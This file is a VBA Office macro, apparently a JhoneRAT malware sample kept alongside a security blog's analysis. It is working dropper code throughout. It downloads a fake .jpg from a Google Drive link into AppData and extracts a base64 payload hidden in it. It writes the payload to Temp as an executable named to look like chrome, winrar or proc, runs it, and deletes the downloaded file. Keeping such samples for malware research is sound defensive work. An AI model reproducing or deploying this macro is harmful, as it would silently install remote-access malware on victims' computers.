jhonerat-macro2.vb

'Blogpost: notes.netbytesec.com
Global img1
Global randArrIndex11
Global img115
Function st()
img1 = Array("cartoon", "img", "photo")
randArrIndex11 = Int((UBound(img1) + 1) * Rnd)
img115 = img1(randArrIndex11)
ddfdsfdsfdww
Dim str55
str55 = sdsadsde(Environ("AppData") + "\\" + img115 + ".jpg")
dsdsder (str55)
Kill (Environ("AppData") + "\\" + img115 + ".jpg")
End Function

Function ujhj8uj(FileName As String) As String
    Dim f As Integer
    f = FreeFile()
    Open FileName For Binary Access Read Lock Write As #f
        ujhj8uj = Space(FileLen(FileName))
        Get #f, , ujhj8uj
    Close #f
End Function

Function sdsadsde(path As String) As String
Dim arrayofWords
arrayofWords = Split(ujhj8uj(path), "****")
sdsadsde = arrayofWords(1)
End Function

Function ddfdsfdsfdww()
Dim myURL As String
myURL = "https://drive.google.com/uc?export=download&id=1d-toE89QnN5ZhuNZIc2iF4-cbKWtk0FD"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.SetRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile Environ("AppData") + "\\" + img115 + ".jpg", 2  ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End If
End Function

Function dsdsder(ByVal b64ddfdsfdsfdww As String)
Compliments = Array("proc", "chrome", "winrar")
img = Array("cartoon", "img", "photo")
randArrIndex1 = Int((UBound(Compliments) + 1) * Rnd)
randArrIndex2 = Int((UBound(img) + 1) * Rnd)
On Error GoTo Error_Handler_Exit
Dim strTempPath As String
Dim imgname As String
Dim prcname As String
imgname = img(randArrIndex2)
prcname = Compliments(randArrIndex1)
strTempPath = Environ("Temp") + "\" + imgname + ".tmp"
Open strTempPath For Binary As #1
 Put #1, 1, seefxfddf(b64ddfdsfdsfdww)
Close #1
Dim strPath As String
 
Name strTempPath As Environ("Temp") + "\" + prcname + ".exe"
Shell Environ("Temp") + "\" + prcname + ".exe"
Error_Handler_Exit:
Exit Function
End Function

Private Function seefxfddf(ByVal strData As String) As Byte()
    Dim objXML As Object
    Dim objNode As Object
    Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.createElement("b64")
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    seefxfddf = objNode.nodeTypedValue
    Set objNode = Nothing
    Set objXML = Nothing
End Function